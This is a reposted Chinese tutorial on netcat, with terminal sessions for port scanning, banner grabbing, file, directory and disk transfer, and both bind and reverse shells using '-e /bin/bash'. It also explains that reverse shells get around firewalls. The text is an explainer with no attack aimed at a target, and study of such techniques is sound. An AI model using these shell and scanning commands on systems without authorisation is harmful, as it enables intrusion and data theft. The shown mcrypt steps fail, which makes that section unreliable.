Netcat详解

Posted dalianpai

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Netcat详解相关的知识,希望对你有一定的参考价值。

Linux netcat 命令实例:

1,端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -z -v -n 47.111.232.59 200-10000
47.111.232.59 3306 (mysql) open
47.111.232.59 6379 open
47.111.232.59 7190 open
[root@iZbp143t3oxhfc3ar7jey0Z ~]# 
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点)

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印200到10000 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -v 47.111.232.59 22
47.111.232.59 22 (ssh) open
SSH-2.0-OpenSSH_7.4

Protocol mismatch.
[root@iZbp143t3oxhfc3ar7jey0Z ~]# 

2 Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 666
wewq
qwqwwrwer

ert


ert

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 666
47.111.232.59 666 (mdqs) open
wewq
qwqwwrwer

ert


ert
不管你在机器B上键入什么都会出现在机器A上。

3,文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# vim aaa.text
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888  < aaa.text
^C[root@iZbp143t3oxhfc3ar7jey0Z ~]#
Client
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 > aaa.text
47.111.232.59 888 (cddbp) open
[root@iZ1la3d1xbmukrZ ~]# ll
total 732
-rw-r--r--  1 root root     65 Mar 16 16:05 aaa.text
-rw-r--r--  1 root root 279331 Mar 11 19:47 err_20190907.log
-rw-r--r--  1 root root      0 Mar 16 11:09 file.txt
-rw-r--r--  1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz
-rw-r--r--  1 root root  55403 Mar 11 19:51 two-file-merge
drwxr-xr-x 13 root root   4096 Mar  3 18:03 utils
[root@iZ1la3d1xbmukrZ ~]#
这里我们创建了一个服务器在A上并且重定向netcat的输入为文件aaa.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。

在客户端我们重定向输出到aaa.txt,当B连接到A,A发送文件内容,B保存文件内容到aaa.txt.

没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888 > aaa.text
^Z
[8]+  Stopped                 netcat -l -p 888 > aaa.text
[root@iZbp143t3oxhfc3ar7jey0Z ~]# ll
total 801416
-rw-r--r-- 1 root  root         65 Mar 16 16:09 aaa.text
-rw------- 1 root  root  500336640 Feb 21 22:15 elasticsearch.tar
-rw-r--r-- 1 root  root          0 Mar 16 11:10 file.txt
drwxr-xr-x 4 root  root       4096 Mar  3 13:57 littleTools
drwxr-xr-x 2 root  root       4096 Feb 17 21:39 mysql-5.6.35-linux-glibc2.5-x86_64
-rw-r--r-- 1 root  root  314581668 Feb 17 21:38 mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz
-rw-r--r-- 1 root  root     398872 Mar 16 00:29 netcat-0.7.1.tar.gz
drwxrwxr-x 5 test1 test1      4096 Feb 21 19:41 ngx_openresty-1.9.7.1
-rw-r--r-- 1 root  root    3548444 Dec 25  2015 ngx_openresty-1.9.7.1.tar.gz
-rw-r--r-- 1 root  root       1062 Mar  6 00:07 passwd
drwxrwxr-x 6 root  root       4096 Mar 16 14:01 redis-4.0.12
-rw-r--r-- 1 root  root    1740544 Dec 12  2018 redis-4.0.12.tar.gz
[root@iZbp143t3oxhfc3ar7jey0Z ~]#

Client

[root@iZ1la3d1xbmukrZ ~]# ll
total 732
-rw-r--r--  1 root root     65 Mar 16 16:05 aaa.text
-rw-r--r--  1 root root 279331 Mar 11 19:47 err_20190907.log
-rw-r--r--  1 root root      0 Mar 16 11:09 file.txt
-rw-r--r--  1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz
-rw-r--r--  1 root root  55403 Mar 11 19:51 two-file-merge
drwxr-xr-x 13 root root   4096 Mar  3 18:03 utils
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 < aaa.text
47.111.232.56 888 (cddbp) open

^Z
[4]+  Stopped                 netcat -nv 47.111.232.59 888 < aaa.text
[root@iZ1la3d1xbmukrZ ~]#

 

4,目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]#  tar cvf - /root/ |  netcat -lp 6666
tar: Removing leading `/‘ from member names
/root/
/root/.viminfo
/root/redis-4.0.12/
/root/redis-4.0.12/sentinel.conf
/root/redis-4.0.12/MANIFESTO
/root/redis-4.0.12/00-RELEASENOTES
/root/redis-4.0.12/INSTALL
/root/redis-4.0.12/utils/
/root/redis-4.0.12/utils/hashtable/
/root/redis-4.0.12/utils/hashtable/README
/root/redis-4.0.12/utils/hashtable/rehashing.c
/root/redis-4.0.12/utils/generate-command-help.rb
/root/redis-4.0.12/utils/whatisdoing.sh
/root/redis-4.0.12/utils/install_server.sh
/root/redis-4.0.12/utils/lru/
/root/redis-4.0.12/utils/lru/README

Client

[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.56 6666 | tar -xvf -
47.111.232.56 6666 (ircu-2) open
root/
root/.viminfo
root/redis-4.0.12/
root/redis-4.0.12/sentinel.conf
root/redis-4.0.12/MANIFESTO
root/redis-4.0.12/00-RELEASENOTES
root/redis-4.0.12/INSTALL
root/redis-4.0.12/utils/
root/redis-4.0.12/utils/hashtable/
root/redis-4.0.12/utils/hashtable/README
root/redis-4.0.12/utils/hashtable/rehashing.c
root/redis-4.0.12/utils/generate-command-help.rb
root/redis-4.0.12/utils/whatisdoing.sh
root/redis-4.0.12/utils/install_server.sh
root/redis-4.0.12/utils/lru/
root/redis-4.0.12/utils/lru/README
root/redis-4.0.12/utils/lru/test-lru.rb
root/redis-4.0.12/utils/lru/lfu-simulation.c
root/redis-4.0.12/utils/hyperloglog/
root/redis-4.0.12/utils/hyperloglog/hll-gnuplot-graph.rb
root/redis-4.0.12/utils/hyperloglog/hll-err.rb

 

这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb < passwd
Enter passphrase:
Corrupted file.
Stdin was NOT decrypted successfully.
使用mcrypt工具加密数据。

客户端

[root@iZ1la3d1xbmukrZ ~]#  mcrypt --flush -Fbq -a rijndael-256 -m ecb > passwd |netcat -nv 47.111.232.59 6666
Enter the passphrase (maximum of 512 characters)
Please use a combination of upper and lower case letters and numbers.
Enter passphrase: 47.111.232.56 6666 (ircu-2) open

Enter passphrase:
Keywords do not match or they are too long.
There was an error in key generation
Stdin was NOT encrypted successfully.

 

使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

6. 流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

服务端

$cat video.avi | nc -l 1567
这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

7,克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

nc -lp 6666 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 192.168.228.128 6666 -q 1

 

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8,打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

假设你的netcat支持 -c -e 参数(默认 netcat)

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666 -e /bin/bash
Client
[root@iZ1la3d1xbmukrZ ~]# netcat 47.111.232.59 6666






ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.123.216  netmask 255.255.240.0  broadcast 172.16.127.255
        ether 00:16:3e:0b:f2:bf  txqueuelen 1000  (Ethernet)
        RX packets 636058  bytes 247705075 (236.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 608869  bytes 826533682 (788.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4655  bytes 306659 (299.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4655  bytes 306659 (299.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666
ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:c5:b4:18:cb  txqueuelen 0  (Ethernet)
        RX packets 31452387  bytes 5313218458 (4.9 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 33492479  bytes 6315370860 (5.8 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.25.74  netmask 255.255.240.0  broadcast 172.16.31.255
        ether 00:16:3e:08:40:fa  txqueuelen 1000  (Ethernet)
        RX packets 30303620  bytes 6481329360 (6.0 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26228556  bytes 4668743630 (4.3 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 163463160  bytes 26666833214 (24.8 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 163463160  bytes 26666833214 (24.8 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethe65aec6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 4e:f9:ea:3a:7e:a3  txqueuelen 0  (Ethernet)
        RX packets 19480  bytes 3518326 (3.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23262  bytes 41465037 (39.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethf4f2f6c: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 8e:9d:11:5c:82:fd  txqueuelen 0  (Ethernet)
        RX packets 1130545  bytes 171517935 (163.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 807685  bytes 101598002 (96.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethfcc843e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 7a:4e:7f:0d:21:02  txqueuelen 0  (Ethernet)
        RX packets 30281186  bytes 5569733890 (5.1 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 32637940  bytes 6134190483 (5.7 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

cd /
ls
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
some
srv
sys
tmp
usr
var
wgr
ll
/bin/bash: line 4: ll: command not found
ls -l
total 84
lrwxrwxrwx.   1 root root     7 Jul 11  2019 bin -> usr/bin
dr-xr-xr-x.   5 root root  4096 Feb 24 20:14 boot
drwxr-xr-x   19 root root  2960 Feb 27 00:18 dev
drwxr-xr-x.  85 root root 12288 Mar 16 17:36 etc
drwxr-xr-x.   3 root root  4096 Mar 12 22:40 home
lrwxrwxrwx.   1 root root     7 Jul 11  2019 lib -> usr/lib
lrwxrwxrwx.   1 root root     9 Jul 11  2019 lib64 -> usr/lib64
drwx------.   2 root root 16384 Jul 11  2019 lost+found
drwxr-xr-x.   2 root root  4096 Apr 11  2018 media
drwxr-xr-x.   2 root root  4096 Apr 11  2018 mnt
drwxr-xr-x.   8 root root  4096 Mar  8 15:35 opt
dr-xr-xr-x  160 root root     0 Feb 27 00:18 proc
dr-xr-x---.   9 root root  4096 Mar 16 18:05 root
drwxr-xr-x   29 root root  1000 Mar 16 17:36 run
lrwxrwxrwx.   1 root root     8 Jul 11  2019 sbin -> usr/sbin
drwxr-xr-x    3 root root  4096 Mar  3 16:22 some
drwxr-xr-x.   2 root root  4096 Apr 11  2018 srv
dr-xr-xr-x   13 root root     0 Mar  3 16:47 sys
drwxrwxrwt.   9 root root 12288 Mar 16 17:36 tmp
drwxr-xr-x.  13 root root  4096 Jul 11  2019 usr
drwxr-xr-x.  19 root root  4096 Jul 11  2019 var
drwxr-xr-x    2 root root  4096 Mar  8 22:30 wgr

 

在客户端,简单地告诉netcat在连接完成后,执行shell。

客户端

[root@iZ1la3d1xbmukrZ ~]#  netcat 47.111.232.59 6666 -e /bin/bash 
现在,什么是反向shell的特别之处呢 
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。 
 
 

以上是关于Netcat详解的主要内容,如果未能解决你的问题,请参考以下文章

Linux nc 命令详解

linux nc命令详解

(转) Java中的负数及基本类型的转型详解

详解Android WebView加载html片段

GNU netcat 退出代码总是 1?

PythonPart1 应用1-Netcat